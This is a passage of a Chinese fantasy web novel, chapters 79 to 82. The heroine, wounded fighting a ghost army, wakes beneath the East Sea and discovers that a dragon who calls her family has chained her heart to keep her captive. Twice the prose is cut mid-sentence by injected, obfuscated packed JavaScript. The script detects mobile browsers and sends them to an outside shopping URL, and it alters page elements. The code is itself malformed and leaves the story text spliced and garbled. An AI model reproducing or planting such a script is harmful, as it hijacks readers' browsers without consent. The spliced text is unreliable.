即便少了九只铃铛,璃音还是一眼就把那熟到不能再熟的阎王扣认了出来。 不愧是伏案看过了几百年人世浮桑的幽冥使,这一点小心思根本瞒不了他。 “你这一步棋可走得不怎么样。”淡褐色鞭身渐缠渐紧,云卿落去慕璟明身后,嬉笑着向云间那个脸色惨白如纸的少女传音,“你瞧,他这下可真落到本尊手里了。” 璃音凌风立在云间,双手仍保持着结印的姿势,天青色的斗篷被风吹得高高鼓起,飞扬在身后,那风夹冰带雪,扑在面上时却只觉一阵滚热,还携着点从大海吹来的腥咸,腻得她头昏脑涨。 但她嘴边却终于漾开一丝浅笑:“是吗?” 云卿听她语气不对,瞳孔骤然震缩,他想都未想,当即挥手捏诀,撤鞭疾退,黑袍之上银芒闪动,只一瞬,宽袍之外便再覆上了一层透银甲胄,银甲银面,将他清癯瘦削的身体裹了个严严实实。 与此同时,轰隆—— 慕小侯爷的营帐在一片蓝白色冷光中轰然倒塌,破军一剑劈开寒夜,凌厉万端,挟过无尽星动寒芒,裂空而至。 银白色面具覆住男子清隽的面庞,也掩住了他额角沁出的那一片细密冷汗。 凄厉尖啸划破夜空,身披银甲的男子瘦长的掌骨之间,赫然空着一个巨大的血洞,向无边夜色的尽头奔逃而去。 刺歪了,好可惜。 璃音撇一撇嘴。 “追吗?”灵台之中一道无声的感应清晰传来。 璃音轻轻摇头:“追不上的,去保护好你的主人吧。” 破军应声而动,敛下寒芒,静静横剑护去了慕璟明身前。 璃音之所以敢放着慕璟明在下面,自己只身飞入云间,就是因为她之前无措闭目之时,除了体内沸腾的滚血之外,竟还感受到了另一股庞大而沉静的力量。 虽然这是根本不可能发生的事情,甚至直到现在她仍觉得万分不可思议,但破军确确实实就在那一刻,竟与她心意相通了。 那魔尊还真是如传闻中一般惜命,手上破了点皮,竟就丢下这数万鬼军,独自一个溜得影都没了。 就这样让他给逃走了,璃音也很不甘心,但她一人勉力维持了这么久的血灵之阵,实是再也支撑不住了。 冬夜寂寒,万里长空冷彻。 清皎的天幕被森黑浓密的阴云盖满,云端之上,万鬼齐哭,一张赤红色的血网大张在云与云之间,细密的血丝勾结缠绕,锁住每一片狰狞暴动的浓黑,也锁住每一声凄恸长啸。 “我不在的时候,要替我保护好他。”璃音艰难地抽出最后一丝灵力,轻声向破军传音,“很快,很快我就会回来的。” 接着便撤去锁魂咒,催动手中红印,迫带着这一支嚎哭不止的阴鬼大军,往更高更远的天边飞去。 不能在这里开战,太危险了。 璃音迎风一路疾飞,直飞至沉黑浩渺的东海海面之上,停身而立,阖眸调息一瞬,终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085203|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于让磅礴汹涌的灵力自掌印之中倾泻而出。 红光炽盛,把整个天空、海面都映照成了血色的赤红。一只小巧的白玉葫芦在这片红芒之中旋身而起,小小的葫芦嘴巴一张,海面惊涛骤起,掀起一波又一波腥红的海浪,高空之上,万鬼与飓风一齐狂啸。 小小的一只葫芦亢奋到浑身颤抖,拼命张着它那张小嘴,狂热地游走在血网之间,大口大口吞嚼着网中每一缕香甜的阴魂。 葫芦颈上的赤色魂链时隐时现,当那魂链黯下时,它会倏然转身,将翕张的小口对准血雾中心那一个连指尖都在颤抖的少女。 而每每它还近身没到一寸,那魂链便又顽强地烁出比之前更盛大的红芒,将它死死控住,迫它转头,继续去将血网中的那些绝望阴灵吞吃干净。 震天悲啸声中,忽然有嗤的一声轻响。 璃音惨白的脸上被滚烫的血雾硬生生灼出一个圆小的血洞。 她喉间腥甜一片,却因为耗血过多,连一口血也吐不出来了,只好不停干呕着那一股腥甜的气味。 皮肉被烫开的滋滋之声在全身各处冒了出来,视线糊成一团,只能勉强看见那一道青碧色的虚影。 撑不住了,她真的要撑不住了…… 心里这么想着,双手却仍旧死死地叩住那一个法印,像被水泥浇筑成了石人,一丝一毫也不曾松开。 渐渐地,她连干呕也呕不动了,腥咸的海风倒灌进干裂的喉管,又勾动体内残血更大的一轮滚沸。 她努力睁大着双眼,目光一瞬不瞬地追随着那一抹青碧色的光影,直到确认了玉横把最后一缕阴魂都舔吃殆尽,用尽最后的力气扬起魂链,往葫芦肚子上狠命向上一抽,将它直直地甩去了九重天上。 翻卷开来的皮肉被冷风刮得生疼,她太累了,需要好好睡一觉才行。 破军既已在凡间开灵,她便再没什么可担心的了。两个月,她想只要睡上两个月就好,两个月后,正好过了二月二,她就可以和小七一起迎接明年的春日了。 她这么想着,终于缓慢地阖上双眼,放任意识堕入了无边的黑暗。 红光渐熄,阴云散尽,夜空恢复了如水澄净,黑雾般的海浪却仍翻涌不息。 浩渺茫茫的东海之上,一道青色的身影,向着底下躁动的海面坠去。 而那些愈滚愈烈的层层巨浪,还有那惊涛之下一声比一声更加清晰的野兽般的低吼,都再没能传入任何人的耳中眼中,只在夜色中兀自危险地等待着,等待吞噬那个不知死活、敢向着这片海域疾坠而下的身影。 80. 第79章 喜当“爹” 璃音这一觉睡得并不安稳。 意识在大多数时候昏昏沉沉,偶有零星一点五感张开,便有浓厚的血腥味铺天盖地漫过鼻尖,叫她恍惚以为自己泡在了一个巨大的血池子里面,但浑身又被一圈一圈似冰又似铁的东西裹着,又冷又硬,硌得难受,她想要睁眼,眼皮却重得怎么也掀不开。 又有时,她会无意识地被伤口难捱的刺痛疼出一两声闷哼,然后就会有什么大而粗粝的软面毫不留情地扫上那处伤口,折磨到她全身的痛觉都麻木着消散,又再僵冷着陷入沉眠。 但这些怪异的感觉也往往只是模糊断续地传来一瞬,不消片刻,便又会随同她的意识一起,再次陷入暗无止境的虚空。 或许这一切陆离触感都只是她昏睡中的一场幻觉,是梦境,神志朦胧间,她早已根本分不清什么是幻,什么是真。 好在她身子骨足够结实,虽然睡得磕磕绊绊,全身上下没一处舒服,力气还是一点一点养了回来。 但也就只养回来了足够她掀开眼皮的那么一点。 眼前是一片无穷尽的澄蓝,身下却硌着一片冷硬,像卧在一块寒冰之上,冻得璃音直发颤,她想要撑着身子坐起,却只觉手麻脚麻,整个人僵透了,脖子一点转不了,动一动手指都费了老大的功夫。 而她的手指轻轻一动,就立刻被一双微凉的大手回握了上来。 是谁?! 璃音睡了太久,久到脑中的思绪都和脖子一样开始发麻发僵了,怎么转也转不动,她反应了好半晌,一点点欢喜才从心底溢了出来。 这样喜欢牵她的手的,还能是谁? 但等那手越握越紧,还越握越抖,她又有些不确定了。 于是她试探着开口:“小七?” 谁知回应她的,是一声如悲似叹,如泣如诉,又清嘹透亮,激动无比的—— “爹——!” 璃音:“……?” 璃音觉得自己耳朵指定是出了些问题,可能是海面上那一战的后遗症,不然她怎么会听到有人,还是个男人,在她耳边一声声又悲又喜地喊她做爹? 先不说这是哪里来的便宜儿子,就她的性别,那也万万做不成别人的爹啊! 璃音默然呆躺片刻,僵着脖子和脑子,把全身上下唯一能动得利索的眼皮眨了眨。 又片刻后,再眨了眨。 而这时,一颗披散着浓黑墨发的脑袋就哽咽着蹭了上来:“爹,他们都说你死了,但孩儿就知道你是不会死的!太好了,爹你果然没死!” 璃音眼看这陌生青年男子的脑袋就要埋进自己颈窝,惊得浑身的瘫痪都一把子治好了。 她腾地坐起,这才发觉自己是睡在一整块寒冰凿就的冰床之上,她也顾不得伤口撕裂带来的疼痛,双手一夹,夹抵住那人不住往前蹭过来的腮帮子,将对方的脑袋使劲摇了一摇。 “这位大哥,醒醒。” 逮着人就喊爹,这不是没睡醒还能是什么? 璃音本想一个巴掌助他清醒一下的,手都要扬起来了,但一打眼看清这男子脸上泪痕覆着伤痕,密密麻麻交错成一片,不禁微怔。 语气到底缓了缓,璃音垂下手,把脸凑近,向他一字一句认真道:“你看清楚,我都不是男人,怎么能是你爹?” 男子被她说得一愣,眼神中有片刻的茫然,仿佛在此之前,竟从未想过她是男是女这个问题。 璃音有点被噎住。 难道她长得很像男人吗? 男子定定望着眼前少女,怔愣半晌,喃喃道:“不是爹,那你是……你是……” 就在璃音以为他终于清醒了的时候,却见男子忽地眼眶一红,竟滚下两滴清泪来,然后就见他轻颤着双唇,小心翼翼地喊出了一个叫璃音更受惊吓的称呼—— “娘?” 被吓得一个轱辘翻身下床,却因全身无力而扑通一下跪软在地的璃音:“……” “娘!” 男子忙飞身来扶。 “……” 璃音掐一把自己的脸,感觉没睡醒的可能是她自己。 爹和娘是可以这样进行转换的吗?! 不过这种莫名其妙、瞎掰胡扯的认亲法,又总让她觉得有点熟悉…… 于是璃音将正小心扶她起身的男子仔仔细细打量了一遍,见他穿一袭锦纱青袍,发丝半披半挽,额角还挑着两绺须发,眉目挺秀,长身峭拔。 但透过领口还是袖口,能看到许多狰狞交错的伤痕,有些翻绽的血肉尚未结痂,往外散发着淡淡的血腥气。 璃音一嗅到这气味,就忽觉体内奔淌的血液一热,额角同时生出了热辣辣的感应。 她抬手抚了抚额头,脑中猛有一道白光闪过。 于是她从记忆里搜寻出一个名字,试探着问道:“归岚君?” 璃音会知道这个名字,是因为她刚来到这个时空的第一天,就将这个名字里里外外调查了解了一番。 谁让他就是那位让猰貐神尊多次叮嘱,要她去东海寻找的那位失踪的“哥哥”呢? 天宫上那一场激烈的神魔一役之后,这位青龙一族仅剩的几条血脉之一就失踪在了东海里面,有人说他身受重伤,昏睡在了海底,也有人干脆就说他死了,然后就总能惹出好一场摇头唏嘘。 “娘,你怎么这样喊孩儿。”男子像扶老奶奶一样,孝孝顺顺地将璃音扶上冰榻坐下。 璃音嘴角默默抽动一下,感觉年纪一下大了几千岁。 不过她也立马察觉出了身下的寒榻不简单,她方才摔下时手软脚软,这时一坐上这冰床,力气登时就恢复不少。虽比不上玉横,但这疗愈的速度也算是惊人了。 随着五感渐开,体内龙血受到的感应也愈发强烈,她也终于能理解,为什么这条青龙会把自己当成他的爹娘了。 他认人靠的不是脸,而正是这份血脉之间的感应。 她体内也确实流淌着猰貐神尊的神龙之血。 九重天上如今战事过半,就说明龙族也已死的死,伤的伤,凋零得差不多了。 他也真的是太想亲人能够回来了吧。 但璃音实在没兴趣去扮演谁的爹娘。 “我不是你娘。”她拍拍男子的肩膀,冷下心肠,无情戳破他美好的幻影。 见男子嘴唇微动,又忙添了一句:“也不是你爹。” 男子这才一脸不甘地将唇角一放,璃音又再拍一拍他的肩,道:“不过我知道你爹一直记挂着你的。” “你见过我爹了?”男子 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当下就兴奋地从榻上起身,谁知屁股一离了那冰床,浑身力气都好像被瞬间抽走,立刻就又啪的一下,软趴在了地上,甚至手上还有一处伤口崩裂,是那种皮肉被自内而外烫出的裂纹。 “你身子还没好全,现在还离不得东海冰晶。” 再一次被像扶老奶奶一样扶上榻的璃音:“……” “我们现在是在东海海底?”璃音看着手上迅速平复下去的伤痕,晓得自己一时半会是见不到小七的了,心里躁得难受。 归岚轻轻颔首,顿了顿,又想起什么,低声斟酌着道:“其实等你身子好全了,也最好不要离开这里。” 璃音闻言一愣:“为什么?” “那位魔尊,他来海面上探了好几次。”归岚意味深长地望她一眼,“他水性一般,所以不会下来,但你若要出去,不会安全。” 璃音立时了然。 她折了云卿数万阴鬼大军,他怎么可能会放过她,说不定她现在已超越了小七,一跃而位列他暗杀名单的第一位了。 但也没有就在海里躲一辈子的道理,她又不是真的怕他,而且她在岸上还有人要见,还有好多事要做呢。 她摸摸身下那块剔透的寒冰,急切道:“我要多久能下这张床?” 一个月,两个月? 她真是一天也等不及了。 却不想对面的男人慢条斯理地道:“唔,按我伤势恢复的速度看,你大概还要一两年吧。” “一两年?!”璃音差点就跳了起来。 “是啊。”男人一脸不明白她为何那么惊讶的样子,“加上你昏睡的这两年,只用三四年就能将这样的伤势调理好,已是极快的了。那晚我接你过来的时候,你几乎把自己烧成干尸了,我还以为你会醒不过来。” 璃音却是一呆。 什么叫做“加上你昏睡的两年”? 她问:“现在外面是哪年?” 归岚歪头想了想,慢吞吞地吐字道:“按外面人间的说法,应该是咸承二十七年。” 这下璃音彻彻底底地呆住了。 她竟然在这东海底下昏睡了整整两年! 81. 第80章 要在一块寒冰上坐个两年也好,两百年也罢,放在以前的璃音身上,绝算不得什么难事。 但眼下她满心记挂着慕璟明,只觉被困在这深海底下的每时每刻都是煎熬。 两年,她消失了整整两年! 她走的时候,甚至没能挤出一点力气和时间,当面给小七留下一句告别的话。 她不敢想象慕璟明在这两年里,是怎样看待她的不辞而别的。 他一定会以为她是个大大的骗子,骗取了他的信任、他的真心,然后往他的军营里丢下一把鬼火,转身就抛下他跑路了。 他会讨厌她,会恨她的。 诸般委屈霎时间涌了上来,好像世界上所有人都可以讨厌她,唯独他不可以,她这么喜欢他,他怎么能讨厌她呢? 更重要的是,他一定会伤心,会难过,会露出那种空洞到让她心颤的眼神。 想到这里,他落寞的神色便仿佛已在眼前了。 璃音急得泪珠直在眼眶里打转,倒把归岚吓了一跳。 “你……你怎么了?”归岚自己虽是个爱哭的,但猛然间看到别人的眼泪,还是一下子手足无措起来,“是刚才摔痛了么?” “我不痛。” 璃音反手去眼下狠狠抹了一把,没叫眼泪真的掉下来,她也不是真的不痛,但她更不是个能在人前掉泪的人,摇着头就又要起身:“不能再等两年的,我等不了,他也等不了,我必须现在就去见他。” 她必须现在就去到他面前,向他解释所有的一切,亲亲他的脸,告诉他自己有多想他,多喜欢他。 她为他受了这么多的痛和罪,她可不是那种甘愿默默付出的圣人,她为他受的每一处伤,她都要通通告诉他的,她就是要小七知道,她对他有多好。 因为每晚告诉他一刻,他就会多难过一刻,多讨厌她一刻。 而这样的委屈她一刻也忍受不了。 归岚生怕少女又把自己摔疼了,赶忙将她一把拉住,见她一脸失魂落魄的模样,多少也猜出了点什么,微一沉吟,道:“要去见很重要的人?” 忽然想起什么,笑问:“是那个小七?” “你知道?”璃音微怔,转头望向归岚,倒是顺着他坐了下来。 归岚轻轻“嗯”了一声,看着璃音的眼神里有种暖澈的明净:“你在梦里总喊这个名字的。” 虽然不是戏谑的语气,璃音还是听得脸上一红。 她竟然会在梦里喊小七的名字么?还都被别人听了去…… 只听归岚又道:“你现在还不能出去,但你要实在担心,我帮你去看看他吧。” “真的?” 暂时不能去见小七,那么能知道他的近况,给他带几句话过去也是好的,璃音眼睛立时亮了起来。 但望见归岚衣领下透出的那些狰狞血痕,她还是迟疑了一下,想起自己在昏睡中,总有股浓烈的血腥味道萦绕在鼻尖,想来就是出自他的身上吧。 于是她又道:“可你不是也在养伤?” 察觉到少女落在自己颈侧的目光,归岚不动声色地将领口向上拢了拢,起身道:“我养得差不多了,现在每日大概可以离海一个时辰。” “好,算我欠你一个人情。”璃音见归岚已是准备好出发的样子,也不多作矫情,忙道:“你去武宁侯驻扎在海边关镇的营地,帮我看看慕玿小侯爷的近况如何,如果可以的话,帮我带一句话,就说……” 说到这里,她的脸又微微一红:“就说我这两年要在外面养病,等身子一好,就会回去找他的。” 她从不吝于表达自己的喜欢, 毕竟是让归岚转述,那些“想你”、“喜欢你”之类肉麻的话她就有点不好意思说出口了。 归岚闻言轻笑了声,道:“好。” 便转身一跃,青影晃动间,璃音只见视线里一条巨大的龙尾扫过,鳞甲透光,龙吟啸亮,她循声抬头,就见归岚已化作一条威风灵矫的巨型青龙,破浪裂云,冲出海面,望空而去。 璃音眨了眨眼,眼前却仿佛还留存着它鳞片闪出的那阵漂亮碎光。 难怪猰貐神尊喊她去找神弓时,会让她来寻求这位“哥哥”相助了,他当真是一条心性澄暖,净若琉璃的热心龙。 归岚办事利索,小半个时辰后,就给璃音带回了慕璟明的消息。 原来酆国这两天又和屿国开战了,战事正打得火热,听归岚说今日酆国的将士在战场上似乎吃了点亏,武宁侯拉了慕璟明去商议对策,璃音立马急道:“吃什么亏了?他受伤了吗?” “上战场哪有不受伤的。”归岚笑道:“好像是胳膊上擦了一箭,不过伤得不重,应是无碍。” 璃音虽然还是心疼,但想到归岚身上那些大大小小的伤,也不好意思再说什么,又问:“他最不爱好好吃饭,你看他瘦了吗?” “我没见过他之前的样子,看不出是胖了还是瘦了,但看他的样子,似乎是有些清瘦。”归岚对这问题觉得无奈又好笑,但还是十分认真地给出了回答。 他很喜欢看少女沉浸在羁绊中的这副样子。 能被这样温情的羁绊绊住,是一件多么幸福的事,却是他可能一生都再也体会不到的事。 他无声地闭了闭眼,只听少女在耳边喃喃了一句“瘦了呀”,就又连珠炮似的发起问来:“那你和他说话了吗?你和他说了我会回去没有?好归岚,你快告诉我,你是怎么跟他说的?他又回你的话了没有?他回了什么话给你?” 或许是两人血脉间的特殊感应,又或许是归岚给人的感觉实在太过明净柔软,加上猰貐神尊为她定义好的那一声“哥哥”,璃音只觉虽与他相识还没多久,却有种家人般亲近的感觉。 神龙一族天生便能感应到彼此间的血脉,归岚听到那一句“好归岚”,再感受着流淌在少女体内那温热而熟悉的气息,努力抑制下想要流泪的冲动,向眼前的少女温声道:“我不方便现身,所以留了一张字条给他。” 璃音闻言耷下脑袋,稍感失望地“哦”了一声,随即又抬 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璃音看他缩成一团,脑袋一歪就睡了过去的样子,动了动唇,轻声道:“谢谢你,归岚。” 便将纸张在冰面上摊平,发现坐着不大好写,又艰难地找了个趴着的姿势,开始给小七写信。 这一写就彻底打开了话匣子,她把自己从何而来,又为何而来,以及那个魔尊这样那样的阴谋阳谋,还有想他念他的种种,都详详细细、洋洋洒洒写了个遍。 写完一数,竟有整整十三页纸,真是把她自己也惊了一呆。 第二天,当她把这么厚的一沓纸交在归岚手上的时候,也不免有些赧然。 好在归岚并未取笑她什么,只是轻笑着与她说了一句:“我去了。” 便揣着这一堆信纸出发了。 璃音望着他离去的背影,再一次感叹他真是一条热心肠的好龙。 这天回来后,归岚告诉璃音,慕璟明还在战场上,他没等到他回来,只把字条留下了,不过听营里的风声,他们这次战前布置得很是周密,胜算看来很大,叫璃音不必担心。 隔日,他便又任劳任怨地带着另一沓厚厚的信纸出发去军营了。 他说昨天那一仗胜了,慕璟明也没有受伤,璃音本该很高兴的,可她的情绪却从这一天开始就无止境地低落了下去。 慕璟明没有给她回信。 归岚安慰她:“可能是战事吃紧,他没时间写信吧。” 可是又过了一天,两天,三天……一个月过去,慕璟明仍旧是一个字也没有回复给她。 她也不再给他写信了,归岚仍是每天会去看他一次,然后带些消息回来。 直到第二个月的一天,归岚回来后沉默着望了她很久,最后告诉她:“酆国的国君好像指了一门亲事给他,他可能要成亲了。” “哦。”璃音抱膝坐着,下巴搁在膝盖上,木然点了下头。 隔了很久,她才转向归岚道:“你明天不要出去了吧。” 82. 第81章 永恒的羁绊 想象中那种难过欲呕的感觉并没有到来,璃音自觉对于慕璟明要成亲的这个消息,接受得还算平静。 若她面对的不是尚在凡尘历劫的慕璟明,若她不是身处在这样一个时空,她都一定会想方设法跑去他面前,揪住他的领子,非把这事问个清楚明白不可。 然而此时此刻的她,对于慕璟明成不成亲,何时成亲,要娶的又是哪位姑娘,都没有半点兴趣。 她只是有些遗憾不能和小七一起迎接春日了。 并且平静地在想,小七为什么不肯给她回信呢?哪怕只是一句话,一个告别,好聚好散,也不枉彼此动心一场。 或许像归岚说的,是他军务繁忙,腾不出手来处理这些情情爱爱的小事。 或许他还在生她的气,气她突然消失,气她的解释来得太晚了。 又或许对于一时的心动而言,两年的时间终究太长,他早已变心,如今恋上别个漂亮姑娘,更是盼着旧人少作纠缠,要将她彻底淡忘了。 但眼下,这些也不是特别重要了。 慕璟明终于从生活中剔除掉了她这个来自时空之外的异类,重新步入历史的正轨,继续去过原本那个属于武宁侯府小侯爷的一生了。 这是好事。天大的好事。好得不能再好了。 又过一阵,归岚便给她带回了一个更好的消息,他说慕璟明的亲事定了,就定在十月初六。 虽然璃音告诉过归岚不必再去打探慕璟明的近况,但归岚还是会时不时地出去,为她带回一些她根本不想知道的消息。 她久困于海底寒冰之上,这一段时间下来,早已是寒暑难辨,四季不分,以至于听到这个消息时,她第一反应竟是去问归岚:“今个是几月几日?” “是四月廿九。” “四月廿九啊……” 好熟悉的日子,璃音怔然片刻,猛然记起她穿越而来的前一日便是四月廿九,是望州百姓口中后羿神君的诞辰,那天她和小七一起在四月的暖风里走了很久,他们一起御剑,还一起逛了庙会。 原来他们早已一起走过春日了。 然后她突然就陷入一阵茫然:她现在和慕璟明结束了,便当作镜花水月一场也就罢了,那等她回到九百年后,又要如何再与神君相处呢? 那时他们该算是什么关系? 她真的还能若无其事地与他扮演过家家酒的老师和学生么? 璃音抱膝坐着,探手拨弄足腕间那串玲珑精致的小铃铛,那是慕璟明亲手给她扣上的,他曾要她时刻将这响铃带着,还霸道地不许她离开他超过十丈,一旦听不见铃响,他就会冷着一张脸出现,过来捉她回去。 “归岚,你说等我能出海的时候,他们会不会连孩子都抱上了?” 少女的话音混杂在一片叮铃清悦的脆响之中,让归岚有种她竟在欢笑的错觉。 归岚只是有些悲伤地望着她,没有答话。 少女却忽然抬起她那双琉璃珠般清透的眸子,十分认真地发问:“归岚,你有过喜欢的人吗?对一个人的喜欢,会要维持多久呢?是不是真的只要两年,就可以把喜欢的感觉全部抹除干净了?” 她从未有过这样喜欢一个人的经验,所以只能天真地推测,既然慕璟明两年就可以把她淡忘掉,那么再等两年后她回到未来,说不定也早就不再喜欢、在意他了。 那她的一切烦恼也就迎刃而解了。 “我没有过你对他的那种喜欢。”归岚见她问得认真,便也答得认真,“但我想,这种关乎情爱的羁绊,早一点晚一点,终有一天是要冷却的。” 他在榻前蹲俯下身,去与榻上抱膝而坐的少女对视:“而我们之间的羁绊,才是永恒的,是永远都不会冷却的。” 说着将额心抵上她的,催动体内血脉,激出少女额间一对漂亮的龙角,并与她眼底一齐闪动出一片赤色红芒。 即便血脉之间的吸引让璃音对归岚天生便有着一份亲近,让她很享受他的陪伴,但她终归还是不习惯有人靠她这么近,于是微微向后撤开,摸了摸有些发热的额角,好奇道:“为什么我一靠近你,身体就会发烫,这是你们神龙一族的特征?” “不是你们,是我们。” 归岚没有介意她的撤后,而是拉她去床沿放下腿坐好,就更低地俯下身去,将面颊轻轻搁在了璃音的膝上,就像一个孩子会对父母做的那样,充斥着浓烈的孺慕之情。 他闭上眼,感受着血管中正狂热奔流的血液,轻而缓地发出一声满足的喟叹,然后他说:“因为我们拥有这世上最亲近的血脉,所以无论是隔着山海,还是隔了千年万年,我们的羁绊都是永远不会冷却的。” “所有人都会离开,只有归岚不会,归岚会永远陪着你的。” 璃音知道他这是又把自己当成他爹了,便想着就让他靠一会儿,安慰地拍拍他的头,没有再狠心将他推开。 不过她才不需要什么血脉的羁绊,更甚至,她从来就没有渴望过任何形式的羁绊。和喜欢的人在一起固然快乐,但独自一人时,她也总会有另一种完全不同的自在,没觉得有什么不好的。 而且血脉之间的感应真的可以强大如斯吗? 猰貐神尊就被后羿神君诛杀在伏龙山脉,归岚又为什么从未感应到过那处所在呢? 想到这里,璃音忽然又记起一事,一件她来到此处最最要紧的正事,她向伏在自己膝上那人问道:“归岚,你在东海里这么久,没听说过落日神弓的下落么?” 关于这把弓的所在,虽说楚作戎的那幅宴饮图上给出了一点线索,但璃音来到这个时空后,便觉实有颇多怪异。 此时莫说猰貐遭诛,便连后羿神君也已陨落了,那么神弓就该已经随着主人沉落东海,又为何还会出现在两年后人间的一场宴饮聚会之上呢? 归岚闻言似乎怔了怔,他缓缓直起身子,眸色难辨地盯了璃音半晌,才用极低的声音答道:“没听说过。” 然后就微微红了眼眶,又倾身伏去了她的膝上。 璃音看他泫然欲泣的神色,才意识到自己犯了多大的错。落日神弓 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璃音微怔,就听他冲她笑道:“阿璃,我去了。” 随后笑容干净明澈的青年便化作一条巨龙,心情颇好地摆着尾巴,逐浪而去了。 璃音却整个人僵在了原地。 他刚才唤她“阿璃”。 可她从未告诉过归岚,她叫什么名字。 毕竟当整个世界只剩下两个人的时候,由于绝不存在叫错人的可能,所以彼此间其实是不需要名字的。 故而自她在这寒冰之上醒来,并没有哪个契机,让她觉得必须要把名字告知归岚。 莫非又是血脉之间的某种特殊感应么? 可又怎么会是“阿璃”呢?为什么偏偏会是“阿璃”呢? 这个世上,只有一个人会喊她作“阿璃”的。 她所在之处像是一个空旷无顶的冰室,四面都是透着光的坚冰,她就被困于室内中央一张巨大的冰榻之上,放眼是一片无边无际的澄蓝,而这就是此刻她能望见的整个世界。 但此前,从未有哪一刻如现在这般,让她感觉到这里好像一个为她量身定做的,由冰雪凿就的牢笼。 璃音像往常归岚每一次出海时那样,抬头去望他消失的方向。 那也是她第一次没有叹息着感慨,感慨归岚是一条多么心地柔软的好龙。 她遍体生寒地回忆着与归岚的每一句对话,却无法分辨哪些是真,哪些是假,她甚至不确定自己的怀疑是不是真实的。 如果这些怀疑都是真的,归岚又为什么要这么做? 他是把她关起来了吗?他打算这样关她多久?两年后,她真的就能顺利离开这座冰牢了吗? 耳边蓦然浮现起归岚的那句—— “而我们之间的羁绊,才是永恒的,是永远都不会冷却的。” “永恒的羁绊吗……”璃音怔怔地重复着。 83. 第82章 心链 归岚今日又捧着两个小玩意回来了。 他欢欢喜喜把手中东西摆去榻上,璃音凝目一看,才看清是两个牵着手的泥人。 泥人捏得粗糙,脸凹嘴凸,眼歪口斜,眉毛鼻子挤作一团,又黑糊糊的,是男是女都瞧不明白,只额上一对龙角栩栩生动,依稀能辨认出是两个龙人。 璃音静静看了一会儿,不禁想起那个不知遗失在何处的芋郎君,还有慕璟明给她刻到一半的坠玉。 泥人头上的龙角精巧可爱,好似两根小树杈一般,她忍不住探手过去戳了戳:“这两个小人,是我们?” “嗯。” 归岚点着头,面上满是开心和向往的神色,像是一个憧憬着在除夕前和长辈挽手上街,采买年货的孩子。 璃音却恹恹地缩回手,颇为惋惜地叹道:“可惜我现在出不去,没法像这小泥人一样,和归岚一起牵手逛街。” 归岚闻言,眼神闪烁了一下,好半晌,才嗫嚅着开口道:“你……你想和我……” “难道你不愿意陪我去做这些?”璃音看他迟疑,面露恼色,别过脸,拿起身边一只拨浪鼓,就赌气般用力摇动,摇出一片咚咚声响。 “愿意,我愿意的。”见少女撇过头不理他,似是生气了,归岚急得一大颗眼泪就掉了下来,“我只是以为等你养好了身子,我们……我们就……” 果然是因为这个原因才把她关在这里的么?璃音看着眼前青年急得落泪的样子,冷冷地道:“你不是说不会离开我,要永永远远陪着我,难道那些话都是说来骗我的?” “不!不是骗你!” 归岚从没见过她这副冷面,也没听过她这样的冷言冷语,一时慌得六神无主,眼泪直掉,不知该如何应对才好。 璃音扔掉那鼓,哼道:“那你一开始为什么犹豫了?看你方才的表情,分明就是不情愿,那我也不要勉强你。” 听这语气中似有嗔怪,归岚忙跪身伏去少女膝头,用面颊讨好地在上面蹭着:“阿璃,我愿意的,你要我陪你做什么都可以,归岚什么都愿意的。” 璃音却一把将他推坐在地:“等我两年后伤养好了,就回岸上去,我们两个隔着这么大一片海,不见总比相见容易。” 归岚听了这话,猛地抬头,一张俊秀的面容扭曲得比那潦草泥人还要厉害,他双目猩红,额上龙角窜出,死死盯住眼前少女,不明白她为什么会突然说出这样绝情的字句。 璃音听他喉间发出呜呜低吼,在心中轻叹一口气,但戏还没演完,这不是她心软的时候,于是继续冷着脸道:“怎么,不许我走?两年后这东海冰晶也困不住我了,我自然是想走便走,你还能把我绑在这里不成。” 伸手捞过榻上那两个双手紧紧牵握在一起的小泥人,高高举起,作势就要摔去地上。 “不!” 归岚爆发出一声嘶哑长吟,一片血红赤芒闪动,自他胸口激迸而出。 璃音举着泥人的手停在了半空。 她低头一望,果然瞧见心口赫然拴着一条粗壮无比的赤色魂链。 同时,一个指令清晰地通过那条魂链传了过来:“不要,求你,不要……” 无论多么哀婉颤抖的哭腔,也无论多么卑微恳切的用词,都掩盖不了这是一条魂令的事实,一条来自归岚的,下达给她的魂令。 心中的猜想终于得到证实,璃音却丝毫没有猜对答案的喜悦,而是自心头涌起一股前所未有的震怒。 对通灵法宝使用魂链已是极端羞辱的做法,而这个人,这个看起来那么温和无害,纯净善良,让她几乎有冲动要喊他一声哥哥的人,竟把魂链种入活人身上,甚而就种在了她的心口。 而这才是她离不开这片海域的真正原因。 困住她的根本不是什么东海冰晶,而是心链另一端连接着的,那人不可违抗的意志。 他要把她变成自己圈养的一只名为“亲人”的宠物,扮作家人陪他玩闹,并要她在这无尽海底的无尽岁月中,永永远远地扮演下去。 璃音垂手,用比寒冰还冷的眼神看着正伏跪在她身前,哀哀流泪的青年,冷声吐字:“用一条狗链一样的东西拴着我,这就是你所谓隔着山海,隔着千年万年也不会消退的,永恒的羁绊?” “不是的,不是这样的。”归岚浑身剧震,流着泪拼命摇头,“我不会逼迫你为我做任何事情,我只是怕你以后走得远了,我会找不到你。” 明明是他做了恶事,却还摆出这副委曲求全的模样,璃音怒极反笑:“不让我出海,把我困在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14144095|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 